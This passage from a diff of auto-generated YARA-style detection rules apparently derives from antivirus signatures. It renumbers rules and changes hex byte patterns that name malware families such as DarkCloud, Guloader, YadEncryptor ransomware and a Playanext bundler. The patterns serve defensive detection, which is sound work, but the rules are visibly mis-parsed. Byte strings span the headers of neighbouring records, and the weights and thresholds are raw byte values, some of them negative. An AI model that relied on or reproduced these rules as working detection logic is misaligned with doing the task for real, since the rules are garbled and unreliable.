73 53 74 61 72 74 49 6e 66 6f 00 53 74 72 } //21539 - $a_52_1 = {61 64 65 72 00 54 65 78 74 52 65 61 64 65 72 00 53 74 72 69 6e 67 42 75 69 6c 64 65 72 01 00 3c 03 52 75 6e 74 69 6d 65 43 6f 6d 70 61 74 69 62 69 6c 69 74 79 41 74 74 72 69 62 75 74 65 00 73 65 74 5f 55 73 65 53 68 65 6c 6c 45 78 65 63 75 74 65 90 02 08 52 65 6d 6f 76 65 90 00 01 00 1c 03 42 65 67 69 6e 4f 75 74 70 75 74 52 } //24933 - $a_4c_2 = {6e 65 90 02 08 4c 69 6e 65 90 00 00 00 78 d5 00 00 03 00 03 00 06 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 42 75 6c 7a 2e 52 42 5a 21 4d 54 42 00 01 00 17 01 45 63 33 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 17 01 69 39 4e 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 } //24933 - condition: - ((#a_4c_0 & 1)*21539+(#a_52_1 & 1)*24933+(#a_4c_2 & 1)*24933) >=3 - -} -rule _InfrastructureShared_14353{ +rule _InfrastructureShared_15295{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -164046,7 +175013,7 @@ rule _InfrastructureShared_14353{ ((#a_54_0 & 1)*18467+(#a_38_1 & 1)*12897+(#a_36_2 & 1)*279+(#a_00_4 & 1)*87) >=3 } -rule _InfrastructureShared_14354{ +rule _InfrastructureShared_15296{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 21 " @@ -164057,7 +175024,7 @@ rule _InfrastructureShared_14354{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*100) >=4 } -rule _InfrastructureShared_14355{ +rule _InfrastructureShared_15297{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -164070,7 +175037,7 @@ rule _InfrastructureShared_14355{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*28015+(#a_6f_2 & 1)*23667+(#a_6f_3 & 1)*28257) >=4 } -rule _InfrastructureShared_14356{ +rule _InfrastructureShared_15298{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -164083,7 +175050,7 @@ rule _InfrastructureShared_14356{ ((#a_46_0 & 1)*21283+(#a_61_1 & 1)*29545+(#a_6f_2 & 1)*8306+(#a_6a_3 & 1)*29268) >=4 } -rule _InfrastructureShared_14357{ +rule _InfrastructureShared_15299{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -164096,7 +175063,7 @@ rule _InfrastructureShared_14357{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*17508+(#a_00_2 & 1)*101+(#a_4c_3 & 1)*18464) >=4 } -rule _InfrastructureShared_14358{ +rule _InfrastructureShared_15300{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -164111,7 +175078,7 @@ rule _InfrastructureShared_14358{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*28530+(#a_00_2 & 1)*30720+(#a_00_3 & 1)*30720+(#a_00_4 & 1)*30720+(#a_00_5 & 1)*30720) >=4 } -rule _InfrastructureShared_14359{ +rule _InfrastructureShared_15301{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -164124,7 +175091,7 @@ rule _InfrastructureShared_14359{ ((#a_46_0 & 1)*16675+(#a_02_2 & 1)*-28568+(#a_39_3 & 1)*-256+(#a_73_4 & 1)*21038) >=5 } -rule _InfrastructureShared_14360{ +rule _InfrastructureShared_15302{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -164138,7 +175105,7 @@ rule _InfrastructureShared_14360{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*11873+(#a_39_2 & 1)*11585+(#a_6f_3 & 1)*29289+(#a_64_4 & 1)*27753) >=5 } -rule _InfrastructureShared_14361{ +rule _InfrastructureShared_15303{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -164152,21 +175119,34 @@ rule _InfrastructureShared_14361{ ((#a_46_0 & 1)*16675+(#a_53_1 & 1)*281+(#a_25_2 & 1)*8285+(#a_61_3 & 1)*25650+(#a_70_4 & 1)*29264) >=5 } -rule _InfrastructureShared_14362{ +rule _InfrastructureShared_15304{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 44 61 72 6b 43 6c 6f 75 64 2e 54 47 5a 5a 31 21 4d 54 42 00 01 00 25 81 01 24 32 64 36 61 31 36 63 63 2d 62 32 66 64 2d 34 39 66 39 2d 61 31 31 62 2d 37 31 62 30 33 64 34 32 34 36 62 61 01 00 30 81 01 51 75 61 } //18467 $a_51_1 = {61 6e 41 6e 4e 68 61 6e 68 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 21 81 01 43 75 6f 69 4b 69 5f 51 75 61 6e 4c 79 51 75 61 6e 41 6e 4e 68 61 6e 68 2e 42 75 73 69 6e 65 73 73 01 00 0b 81 01 70 62 78 4e 68 61 6e 56 69 65 6e 01 00 0c 81 01 67 65 74 5f 41 73 73 65 6d 62 6c 79 00 00 78 d5 00 00 05 00 05 00 } //19566 - $a_23_2 = {53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 46 44 4f 31 32 33 21 4d 54 42 00 01 00 } //5 - $a_70_3 = {65 } //-32465 e - $a_61_4 = {69 7a 69 6e 67 20 66 61 72 74 6f 76 65 72 74 72 64 65 6c 73 65 72 20 6b 6e 6f 67 6c 65 6d 61 72 76 73 70 72 76 65 6e 01 00 07 81 01 6d 69 72 69 65 6d 73 01 00 2b 81 01 5c 70 69 73 6b 65 72 69 73 65 6e 65 5c 73 65 6a 6c 67 61 72 6e 73 6e 67 6c 65 73 5c 6b 6f 6c 6f 6e 6e 65 75 64 73 6b 72 69 66 74 01 00 1a 81 01 5c } //25954 + $a_23_2 = {53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4d 47 30 31 21 4d 54 42 00 01 00 27 81 } //5 + $a_72_3 = {6c 67 67 65 6c 73 65 73 20 6b 6c 61 76 65 72 73 74 65 6d 6d 65 6e 20 6d 69 73 73 69 6f 6e 72 65 72 6e 65 01 00 29 81 01 6a 75 78 74 61 70 79 6c 6f 72 69 63 20 62 61 67 69 6e 64 69 73 6b 65 73 20 6a 61 67 74 75 64 66 6c 75 67 74 65 72 6e 65 73 01 00 22 81 01 64 65 73 6f 72 67 61 6e 69 73 65 72 65 64 65 20 6d 65 64 69 63 61 69 64 20 } //26113 + $a_67_4 = {6c 75 67 73 01 00 13 81 01 47 79 6e 61 6e 64 72 6f 73 70 6f 72 6f 75 73 2e 7a 69 70 01 00 0f 81 01 74 68 69 6d 62 6c 65 73 66 75 6c 2e 73 69 6e 00 00 78 d5 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 46 44 4f 31 32 33 21 4d 54 42 00 01 00 2f 81 01 70 6c 65 62 65 69 61 6e 69 7a 69 6e 67 20 66 61 72 74 } //26723 condition: - ((#a_54_0 & 1)*18467+(#a_51_1 & 1)*19566+(#a_23_2 & 1)*5+(#a_70_3 & 1)*-32465+(#a_61_4 & 1)*25954) >=5 + ((#a_54_0 & 1)*18467+(#a_51_1 & 1)*19566+(#a_23_2 & 1)*5+(#a_72_3 & 1)*26113+(#a_67_4 & 1)*26723) >=5 } -rule _InfrastructureShared_14363{ +rule _InfrastructureShared_15305{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4d 47 30 31 21 4d 54 42 00 01 00 27 81 01 66 6f 72 65 6c 67 67 65 6c 73 65 73 20 6b 6c 61 76 65 72 73 74 65 6d 6d 65 6e 20 6d 69 73 73 69 6f 6e 72 65 72 6e 65 01 00 29 81 01 6a 75 78 74 61 70 79 6c } //18467 + $a_63_1 = {62 61 67 69 6e 64 69 73 6b 65 73 20 6a 61 67 74 75 64 66 6c 75 67 74 65 72 6e 65 73 01 00 22 81 01 64 65 73 6f 72 67 61 6e 69 73 65 72 65 64 65 20 6d 65 64 69 63 61 69 64 20 63 68 75 67 61 6c 75 67 73 01 00 13 81 01 47 79 6e 61 6e 64 72 6f 73 70 6f 72 6f 75 73 2e 7a 69 70 01 00 0f 81 01 74 68 69 6d 62 6c 65 73 66 } //29295 + $a_73_2 = {6e 00 00 78 d5 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 46 44 4f 31 32 33 21 4d 54 42 } //27765 + $a_65_4 = {65 69 61 6e 69 7a 69 6e 67 20 66 61 72 74 6f 76 65 72 74 72 64 65 6c 73 65 72 20 6b 6e 6f 67 6c 65 6d 61 72 76 73 70 72 76 65 6e 01 00 07 81 01 6d 69 72 69 65 6d 73 01 00 2b 81 01 5c 70 69 73 6b 65 72 69 73 65 6e 65 5c 73 65 6a 6c 67 61 72 6e 73 6e 67 6c 65 73 5c 6b 6f 6c 6f 6e 6e 65 75 64 73 6b 72 69 66 74 01 00 1a 81 01 } //28673 + condition: + ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*29295+(#a_73_2 & 1)*27765+(#a_65_4 & 1)*28673) >=5 + +} +rule _InfrastructureShared_15306{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -164178,7 +175158,7 @@ rule _InfrastructureShared_14363{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*385+(#a_00_4 & 1)*5) >=5 } -rule _InfrastructureShared_14364{ +rule _InfrastructureShared_15307{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -164189,7 +175169,7 @@ rule _InfrastructureShared_14364{ ((#a_54_0 & 1)*18467+(#a_70_2 & 1)*26881) >=5 } -rule _InfrastructureShared_14365{ +rule _InfrastructureShared_15308{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -164204,7 +175184,7 @@ rule _InfrastructureShared_14365{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*29806+(#a_90_2 & 1)*-1+(#a_65_3 & 1)*24943+(#a_66_4 & 1)*3840+(#a_72_5 & 1)*24421) >=5 } -rule _InfrastructureShared_14366{ +rule _InfrastructureShared_15309{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -164219,7 +175199,7 @@ rule _InfrastructureShared_14366{ ((#a_77_0 & 1)*19491+(#a_69_1 & 1)*271+(#a_57_2 & 1)*16725+(#a_72_3 & 1)*28783+(#a_69_4 & 1)*21761+(#a_73_5 & 1)*26996) >=5 } -rule _InfrastructureShared_14367{ +rule _InfrastructureShared_15310{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -164235,7 +175215,7 @@ rule _InfrastructureShared_14367{ ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*30063+(#a_65_2 & 1)*25902+(#a_72_3 & 1)*28783+(#a_23_4 & 1)*7+(#a_74_5 & 1)*16991+(#a_48_6 & 1)*2816) >=5 } -rule _InfrastructureShared_14368{ +rule _InfrastructureShared_15311{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -164251,7 +175231,7 @@ rule _InfrastructureShared_14368{ ((#a_46_0 & 1)*16675+(#a_55_1 & 1)*21249+(#a_70_2 & 1)*29264+(#a_79_3 & 1)*25648+(#a_02_4 & 1)*-16056+(#a_69_5 & 1)*24940+(#a_6f_6 & 1)*25938) >=5 } -rule _InfrastructureShared_14369{ +rule _InfrastructureShared_15312{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -164267,7 +175247,7 @@ rule _InfrastructureShared_14369{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*29806+(#a_c1_2 & 1)*18464+(#a_00_3 & 1)*0+(#a_52_4 & 1)*21320+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1) >=5 } -rule _InfrastructureShared_14370{ +rule _InfrastructureShared_15313{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -164282,7 +175262,7 @@ rule _InfrastructureShared_14370{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*29541+(#a_61_2 & 1)*385+(#a_73_3 & 1)*30496+(#a_72_4 & 1)*11890+(#a_74_5 & 1)*28233) >=6 } -rule _InfrastructureShared_14371{ +rule _InfrastructureShared_15314{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -164297,7 +175277,7 @@ rule _InfrastructureShared_14371{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*28531+(#a_00_2 & 1)*6+(#a_54_3 & 1)*21076+(#a_65_4 & 1)*292+(#a_44_5 & 1)*13110) >=6 } -rule _InfrastructureShared_14372{ +rule _InfrastructureShared_15315{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -164310,7 +175290,7 @@ rule _InfrastructureShared_14372{ ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*30063+(#a_48_4 & 1)*8448+(#a_75_5 & 1)*25970) >=6 } -rule _InfrastructureShared_14373{ +rule _InfrastructureShared_15316{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -164323,7 +175303,7 @@ rule _InfrastructureShared_14373{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29793+(#a_52_4 & 1)*21320+(#a_73_5 & 1)*25974) >=6 } -rule _InfrastructureShared_14374{ +rule _InfrastructureShared_15317{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -164337,7 +175317,7 @@ rule _InfrastructureShared_14374{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29540+(#a_48_3 & 1)*8448+(#a_70_4 & 1)*26739+(#a_00_5 & 1)*29537) >=6 } -rule _InfrastructureShared_14375{ +rule _InfrastructureShared_15318{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -164352,7 +175332,7 @@ rule _InfrastructureShared_14375{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*29295+(#a_72_2 & 1)*29288+(#a_66_3 & 1)*29793+(#a_6f_4 & 1)*29793+(#a_01_5 & 1)*25956) >=6 } -rule _InfrastructureShared_14376{ +rule _InfrastructureShared_15319{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -164367,7 +175347,7 @@ rule _InfrastructureShared_14376{ ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*29555+(#a_6e_2 & 1)*26996+(#a_61_3 & 1)*29811+(#a_57_4 & 1)*24930+(#a_64_5 & 1)*28524) >=6 } -rule _InfrastructureShared_14377{ +rule _InfrastructureShared_15320{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 09 00 21 " @@ -164376,27 +175356,43 @@ rule _InfrastructureShared_14377{ $a_4f_2 = {4c 42 41 52 5f 43 52 45 41 54 45 01 00 0e 80 01 54 4f 4f 4c 42 41 52 5f 44 45 4c 45 54 45 01 00 07 80 01 54 41 53 4b 42 41 52 01 00 0f 80 01 54 6f 6f 6c 62 61 72 57 69 6e 64 6f 77 33 32 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0f 80 01 55 6e } //384 $a_74_3 = {6c 6c 65 72 2e 65 78 65 9c ff 0c 80 01 55 6e 69 6e 73 74 61 6c 2e 65 78 65 00 00 78 d5 00 00 07 00 07 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 5a 6e 79 6f 6e 6d 2e 45 4b 21 4d 54 42 00 05 00 1f 81 01 6d 75 6c 74 69 6c 6f 61 64 65 72 5c 62 69 6e 5c 52 65 6c 65 61 73 65 5c 69 6e 6a 2e 70 64 62 05 00 21 81 01 6d 75 6c } //28265 $a_6f_4 = {64 65 72 5c 52 65 6c 65 61 73 65 5c 4e 65 77 4c 6f 61 64 65 72 2e 70 64 62 01 00 3c 81 01 23 20 54 68 69 73 20 66 69 6c 65 20 77 61 73 20 67 65 6e 65 72 61 74 65 64 20 62 79 20 6c 69 62 63 75 72 6c 21 20 45 64 69 74 20 61 74 20 79 6f 75 72 20 6f 77 6e 20 72 69 73 6b 2e 01 00 1b 81 01 23 20 4e 65 74 73 63 61 70 65 20 48 54 } //26996 - $a_43_5 = {6f 6b 69 65 20 46 69 6c 65 00 00 78 d5 00 00 07 00 07 00 07 00 21 23 41 4c 46 3a 52 61 6e 73 6f } //20564 - $a_53_6 = {4c 2f 59 61 64 45 6e 63 72 79 70 74 6f 72 2e 50 41 41 21 4d 54 42 00 01 00 22 01 59 41 44 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 3a 01 59 00 41 00 44 00 20 00 2d 00 20 00 } //14957 - $a_00_7 = {75 00 20 00 61 00 72 00 65 00 20 00 44 00 65 00 61 00 64 00 20 00 52 00 61 00 6e 00 73 00 6f 00 6d 00 77 00 61 00 72 00 65 00 01 00 0d 01 6b 69 6c 6c 65 73 6b 6f 5f 54 69 63 6b 01 00 0d 01 57 72 69 74 65 41 6c 6c 42 79 74 65 73 01 00 07 01 59 41 44 2e 70 64 62 01 00 07 01 67 65 74 5f 6d 62 72 01 00 06 01 73 65 6e 64 65 72 00 00 78 } //89 + $a_43_5 = {6f 6b 69 65 20 46 69 6c 65 00 00 78 d5 00 00 07 00 07 00 07 00 21 23 41 4c 46 3a 50 55 41 42 75 } //20564 + $a_65_6 = {3a 57 69 6e 33 32 2f 50 6c 61 79 61 6e 65 78 74 2e 50 50 31 39 5f 48 00 01 00 0d 80 01 6f 70 74 69 6f 6e 61 6c 6f 66 66 65 72 01 00 0c 80 01 63 68 72 6f 6d 65 5f 6f 66 66 65 72 01 00 17 80 01 63 68 72 6f 6d 65 5f 6f 66 66 65 72 5f 70 61 72 74 6e 65 72 5f 69 64 01 00 11 80 01 6d 6f 6e 65 74 69 7a 61 74 69 6f 6e 4f 66 66 65 } //25710 + $a_46_8 = {75 69 74 65 32 30 32 31 49 6e 73 74 61 6c 6c 65 72 2e 65 78 65 01 00 0e 80 01 50 6c 61 79 61 50 61 72 74 6e 65 72 49 64 01 00 1a 80 01 6f 70 74 69 6f 6e 61 6c 2d 6f 66 66 65 72 2d 63 6f 6e 73 65 6e 74 2e } //20481 condition: - ((#a_46_0 & 1)*16675+(#a_4f_2 & 1)*384+(#a_74_3 & 1)*28265+(#a_6f_4 & 1)*26996+(#a_43_5 & 1)*20564+(#a_53_6 & 1)*14957+(#a_00_7 & 1)*89) >=6 + ((#a_46_0 & 1)*16675+(#a_4f_2 & 1)*384+(#a_74_3 & 1)*28265+(#a_6f_4 & 1)*26996+(#a_43_5 & 1)*20564+(#a_65_6 & 1)*25710+(#a_46_8 & 1)*20481) >=6 } -rule _InfrastructureShared_14378{ +rule _InfrastructureShared_15321{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 04 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 5a 6e 79 6f 6e 6d 2e 45 4b 21 4d 54 42 00 05 00 1f 81 01 6d 75 6c 74 69 6c 6f 61 64 65 72 5c 62 69 6e 5c 52 65 6c 65 61 73 65 5c 69 6e 6a 2e 70 64 62 05 00 21 81 01 6d 75 6c 74 69 6c 6f 61 64 65 72 5c 52 65 } //18467 $a_73_1 = {5c 4e 65 77 4c 6f 61 64 65 72 2e 70 64 62 01 00 3c 81 01 23 20 54 68 69 73 20 66 69 6c 65 20 77 61 73 20 67 65 6e 65 72 61 74 65 64 20 62 79 20 6c 69 62 63 75 72 6c 21 20 45 64 69 74 20 61 74 20 79 6f 75 72 20 6f 77 6e 20 72 69 73 6b 2e 01 00 1b 81 01 23 20 4e 65 74 73 63 61 70 65 20 48 54 } //25964 - $a_43_2 = {6f 6b 69 65 20 46 69 6c 65 00 00 78 d5 00 00 07 00 07 00 07 00 21 23 41 4c 46 3a 52 61 6e 73 6f } //20564 - $a_53_3 = {4c 2f 59 61 64 45 6e 63 72 79 70 74 6f 72 2e 50 41 41 21 4d 54 42 00 01 00 22 01 59 41 44 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 3a 01 59 00 41 00 44 00 20 00 2d 00 20 00 } //14957 + $a_43_2 = {6f 6b 69 65 20 46 69 6c 65 00 00 78 d5 00 00 07 00 07 00 07 00 21 23 41 4c 46 3a 50 55 41 42 75 } //20564 + $a_65_3 = {3a 57 69 6e 33 32 2f 50 6c 61 79 61 6e 65 78 74 2e 50 50 31 39 5f 48 00 01 00 0d 80 01 6f 70 74 69 6f 6e 61 6c 6f 66 66 65 72 01 00 0c 80 01 63 68 72 6f 6d 65 5f 6f 66 66 65 72 01 00 17 80 01 63 68 72 6f 6d 65 5f 6f 66 66 65 72 5f 70 61 72 74 6e 65 72 5f 69 64 01 00 11 80 01 6d 6f 6e 65 74 69 7a 61 74 69 6f 6e 4f 66 66 65 } //25710 condition: - ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*25964+(#a_43_2 & 1)*20564+(#a_53_3 & 1)*14957) >=7 + ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*25964+(#a_43_2 & 1)*20564+(#a_65_3 & 1)*25710) >=7 } -rule _InfrastructureShared_14379{ +rule _InfrastructureShared_15322{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " + + strings : + $a_46_0 = {50 55 41 42 75 6e 64 6c 65 72 3a 57 69 6e 33 32 2f 50 6c 61 79 61 6e 65 78 74 2e 50 50 31 39 5f 48 00 01 00 0d 80 01 6f 70 74 69 6f 6e 61 6c 6f 66 66 65 72 01 00 0c 80 01 63 68 72 6f 6d 65 5f 6f 66 66 65 72 01 00 17 80 01 63 68 } //16675 + $a_65_1 = {6f 66 66 65 72 5f 70 61 72 74 6e 65 72 5f 69 64 01 00 11 80 01 6d 6f 6e 65 74 69 7a 61 74 69 6f 6e 4f 66 66 65 72 01 00 19 80 01 50 44 46 53 75 69 74 65 32 30 32 31 49 6e 73 74 61 6c 6c 65 72 2e 65 78 65 01 00 0e 80 01 50 6c 61 79 61 50 61 72 74 6e 65 72 49 64 01 00 1a 80 01 6f 70 74 69 6f 6e 61 6c 2d 6f 66 66 65 72 2d 63 6f } //28530 + $a_6e_2 = {2e 68 74 6d 00 00 78 d5 00 00 07 00 07 00 07 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 4d 53 49 4c 2f 59 61 64 45 6e 63 72 79 70 74 6f 72 2e 50 41 41 21 4d 54 42 00 01 00 22 01 59 41 44 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 3a 01 59 00 41 00 } //29550 + $a_00_3 = {2d 00 20 00 59 00 6f 00 75 00 20 00 61 00 72 00 65 00 20 00 44 00 65 00 61 00 64 00 20 00 52 00 } //68 - You are Dead R + $a_00_4 = {73 00 6f 00 6d 00 77 00 61 00 72 00 65 00 01 00 0d 01 6b 69 6c 6c 65 73 6b 6f 5f 54 69 63 6b 01 00 0d 01 57 72 69 74 65 41 6c 6c 42 79 74 65 73 01 00 07 01 59 41 44 2e 70 64 62 01 00 07 01 67 65 74 5f 6d 62 72 01 00 06 01 73 65 6e 64 65 72 00 00 78 d5 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 } //97 + $a_61_5 = {52 58 32 35 31 31 21 45 4d 4c 00 01 00 25 01 24 33 37 61 34 63 39 38 36 2d 66 32 35 36 2d 34 32 30 66 2d 62 34 61 65 2d 32 35 39 37 37 65 66 33 62 37 31 36 01 00 09 01 47 65 74 44 6f 6d 61 69 6e 01 00 07 01 52 65 70 6c 61 63 65 01 00 05 01 53 70 6c 69 74 01 00 1f 01 47 55 49 5f 44 65 6d 6f 31 2e 57 65 6c 63 6f 6d 65 46 6f } //29541 + $a_72_6 = {73 6f 75 72 63 65 73 01 00 1d 01 47 55 49 5f 44 65 6d 6f 31 2e 59 55 47 48 53 44 44 53 44 2e 72 65 73 6f 75 72 63 65 73 01 00 19 01 47 55 } //28018 + condition: + ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*28530+(#a_6e_2 & 1)*29550+(#a_00_3 & 1)*68+(#a_00_4 & 1)*97+(#a_61_5 & 1)*29541+(#a_72_6 & 1)*28018) >=7 + +} +rule _InfrastructureShared_15323{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -164410,7 +175406,7 @@ rule _InfrastructureShared_14379{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*32+(#a_6b_4 & 1)*3328+(#a_6b_5 & 1)*25964+(#a_2d_6 & 1)*13618) >=7 } -rule _InfrastructureShared_14380{ +rule _InfrastructureShared_15324{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -164426,7 +175422,7 @@ rule _InfrastructureShared_14380{ ((#a_54_0 & 1)*18467+(#a_52_1 & 1)*1792+(#a_65_2 & 1)*24940+(#a_63_3 & 1)*30063+(#a_6e_4 & 1)*268+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1) >=7 } -rule _InfrastructureShared_14381{ +rule _InfrastructureShared_15325{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -164441,7 +175437,7 @@ rule _InfrastructureShared_14381{ ((#a_54_0 & 1)*18467+(#a_6f_2 & 1)*19457+(#a_00_3 & 1)*0+(#a_3a_4 & 1)*21587+(#a_69_5 & 1)*270+(#a_6b_6 & 1)*29811) >=7 } -rule _InfrastructureShared_14382{ +rule _InfrastructureShared_15326{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -164455,7 +175451,7 @@ rule _InfrastructureShared_14382{ ((#a_54_0 & 1)*18467+(#a_57_1 & 1)*3584+(#a_65_2 & 1)*24912+(#a_52_5 & 1)*21320+(#a_01_6 & 1)*32475) >=7 } -rule _InfrastructureShared_14383{ +rule _InfrastructureShared_15327{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 06 00 21 " @@ -164470,7 +175466,7 @@ rule _InfrastructureShared_14383{ ((#a_54_0 & 1)*18467+(#a_7e_1 & 1)*-31272+(#a_65_2 & 1)*29295+(#a_53_3 & 1)*8993+(#a_01_4 & 1)*29537+(#a_74_5 & 1)*29779) >=8 } -rule _InfrastructureShared_14384{ +rule _InfrastructureShared_15328{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -164486,7 +175482,7 @@ rule _InfrastructureShared_14384{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*18177+(#a_34_2 & 1)*25971+(#a_01_4 & 1)*4864+(#a_00_5 & 1)*29541+(#a_6f_6 & 1)*385+(#a_00_7 & 1)*105) >=8 } -rule _InfrastructureShared_14385{ +rule _InfrastructureShared_15329{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -164503,7 +175499,7 @@ rule _InfrastructureShared_14385{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*28009+(#a_41_2 & 1)*385+(#a_00_3 & 1)*70+(#a_75_4 & 1)*18689+(#a_32_5 & 1)*13620+(#a_48_6 & 1)*8448+(#a_80_7 & 1)*1) >=8 } -rule _InfrastructureShared_14386{ +rule _InfrastructureShared_15330{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -164521,7 +175517,7 @@ rule _InfrastructureShared_14386{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*26988+(#a_48_2 & 1)*8448+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1+(#a_80_7 & 1)*1+(#a_80_8 & 1)*1) >=9 } -rule 